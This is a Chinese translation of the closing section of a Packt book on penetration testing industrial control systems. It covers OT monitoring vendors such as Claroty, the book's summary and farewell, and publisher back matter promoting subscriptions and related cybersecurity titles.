Claroty 的持续威胁检测CTD)提供了其他 IDS 解决方案所具备的所有功能。安全研究团队一流,他们已经发布了多个漏洞信息,供社区使用和检测。最有趣的功能之一是平台执行的根本原因分析。这使得用户能够追踪安全漏洞或漏洞的起始点。这个执行此独特分析的模块进行了大量研究,客户群体因此受益,并能帮助安全团队填补漏洞。如需更多信息,请访问此链接:claroty.com/comprehensive-platform-overview/

知名厂商包括 Nozomi Networks、Cisco Cyber Vision(Sentryo)、SCADAfence、Tenable OT(Indegy)、Microsoft(CyberX)和 Forescout(SecurityMatters)。

我需要特别说明的是,在提到其他工具时,并没有偏袒某一产品,仅仅是我在工业网络安全职业生涯中接触到的设备。还有许多其他产品和厂商也涵盖了报告中讨论的主题,例如工业防火墙、OT 监控解决方案、IDS 和主机 IDS。在推荐报告的过程中,确保在研究和调查你想推荐给客户的产品和技术时,做好尽职调查。

总结

在本章中,我们讨论了撰写渗透报告的技巧和方法,并讲解了帮助填补客户安全漏洞的关键要素。

这些主题完成了渗透测试之旅,这也标志着本章的结束,最终,整个书籍也就此结束。可能有些人已经看到了这里,他们可能会感到失望,因为没有一个点击、部署、然后击垮的解决方案来攻破关键基础设施。我必须说,写这本书让我在某些话题的深度以及该透露多少敏感信息上产生了道德困境。我认为,足够的知识已经传递出去,能够帮助新的渗透测试人员建立坚实的基础,并在这些基本技能上不断提升。我祝你好运,并且在你未来的旅程中一切顺利,我将用这句话结束:

“我们的做法真的没有什么秘密。我们不断向前进——开启新门,做新事——因为我们充满好奇。好奇心不断引领我们走向新道路。我们一直在探索和实验。”

– 沃尔特·迪士尼

Packt.com

订阅我们的在线数字图书馆,全面访问超过 7000 本书籍和视频,并使用行业领先的工具帮助你规划个人发展并推进职业生涯。欲了解更多信息,请访问我们的网站。

第十四章:为什么订阅?

  • 通过来自 4000 多位行业专业人士的实用电子书和视频,减少学习时间,增加编程时间

  • 通过专为你打造的技能计划,提升你的学习效果

  • 每月获取免费的电子书或视频

  • 完全可搜索,便于访问重要信息

  • 复制、粘贴、打印和书签内容

你知道 Packt 提供每本书的电子书版本,并提供 PDF 和 ePub 文件吗?你可以在 packt.com 升级到电子书版本,并且作为印刷书籍的顾客,你还可以获得电子书副本的折扣。如需更多信息,请通过 customercare@packtpub.com 与我们联系。

www.packt.com 上,你还可以阅读一系列免费的技术文章,注册各种免费的电子邮件通讯,并获得 Packt 图书和电子书的独家折扣和优惠。

你可能会喜欢的其他书籍

如果你喜欢这本书,你可能会对 Packt 出版的其他书籍感兴趣:

网络安全职业发展规划

Dr. Gerald Auger, Jaclyn “Jax” Scott, Jonathan Helmus, Kim Nguyen

ISBN: 9781801073561

  • 了解网络安全基础知识,包括不同的框架、法律和专业领域

  • 了解如何在网络安全行业找到你的第一份工作

  • 了解大学教育与证书课程的区别

  • 制定目标和时间表,以促进工作与生活的平衡,同时在工作中提供价值

  • 了解网络安全领域不同类型的职位,并了解什么是入门级职位

  • 构建实惠、实用的实验室来发展你的技术技能

  • 了解如何设定目标并在找到第一份网络安全工作后保持动力

网络安全 – 攻防策略 - 第二版

Yuri Diogenes,Dr. Erdal Ozkaya

ISBN: 9781838827793

  • 拥有坚实的安全态势基础的重要性

  • 使用网络安全攻击链了解攻击策略

  • 通过改进安全政策、强化网络、实施主动传感器和利用威胁情报,提高你组织的网络韧性

  • 利用最新的防御工具,包括 Azure Sentinel 和零信任网络战略

  • 识别不同类型的网络攻击,如 SQL 注入、恶意软件和社会工程威胁(如钓鱼邮件)

  • 使用 Azure Security Center 和 Azure Sentinel 进行事件调查

  • 深入理解灾难恢复过程

  • 了解如何持续监控安全性并为本地和混合云实施漏洞管理策略

  • 学习如何利用云计算进行日志分析,识别可疑活动,包括来自亚马逊 Web 服务和 Azure 的日志

Packt 正在寻找像你这样的作者

如果你有兴趣成为 Packt 的作者,请访问 authors.packtpub.com 并立即申请。我们与成千上万的开发者和技术专业人士合作,帮助他们与全球技术社区分享他们的见解。你可以提交一个一般申请,申请我们正在招聘作者的特定热门话题,或者提交你自己的创意。

分享你的想法

现在你已经完成了渗透测试工业控制系统,我们非常希望听到你的想法!如果你是从亚马逊购买的这本书,请点击这里直接进入该书的亚马逊评论页面,分享你的反馈或在你购买的站点上留下评论。

你的评论对我们和技术社区非常重要,将帮助我们确保提供高质量的内容。

你可能会喜欢的其他书籍

你可能会喜欢的其他书籍

posted @ 2025-06-23 19:08  绝不原创的飞龙  阅读(264)  评论(0)    收藏  举报